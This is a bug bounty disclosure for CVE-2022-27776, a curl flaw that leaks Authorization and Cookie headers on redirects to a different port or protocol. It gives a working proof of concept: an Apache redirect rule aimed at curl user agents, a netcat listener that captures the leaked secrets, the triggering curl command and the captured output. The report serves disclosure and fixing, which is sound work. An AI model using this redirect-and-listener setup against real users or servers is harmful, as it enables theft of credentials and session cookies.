Internet Bug Bounty: CVE-2022-27776: Auth/cookie leak on redirect

Summary:

curl/libcurl can be coaxed to leak Authorization / Cookie headers by redirecting request to http:// URL on the same host. Successful exploitation requires that the attacker can either Man-in-the-Middle the connection or can access the traffic at the recipient side (for example by redirecting to a non-privileged port such as 9999 on the same host).

Steps To Reproduce:

1. Configure for example Apache2 to perform redirect with mod_rewrite:

   RewriteCond %{HTTP_USER_AGENT} "^curl/"
   RewriteRule ^/redirectpoc http://hostname.tld:9999 [R=301,L]
   

… the attacker could also use .htpasswd file to do so.
2. Set up netcat to listen for the incoming secrets:
while true; do echo -ne 'HTTP/1.1 404 nope\r\nContent-Length: 0\r\n\r\n' | nc -v -l -p 9999; done
3. curl-L -H "Authorization: secrettoken" -H "Cookie: secretcookie" https://hostname.tld/redirectpoc

The redirect will be followed, and the confidential headers sent over insecure HTTP to the specified port:

GET / HTTP/1.1
Host: hostname.tld:9999
User-Agent: curl/7.83.0-DEV
Accept: */*
Authorization: secrettoken
Cookie: secretcookie

The attack could also use HTTPS and a valid certificate, In this case the leaked headers are of course only be visible to the listening http server.

This vulnerability is quite similar to CVE-2022-27774 and the fix is similar too: If the protocol or port number differs from the original request strip the Authorization and Cookie headers.

This bug appears to be at:

• https://github.com/curl/curl/blob/94ac2ca7754f6ee13c378fed2e731aee61045bb1/lib/http.c#L1904
• https://github.com/curl/curl/blob/94ac2ca7754f6ee13c378fed2e731aee61045bb1/lib/http.c#L850

Impact

Leak of Authorization and/or Cookie headers.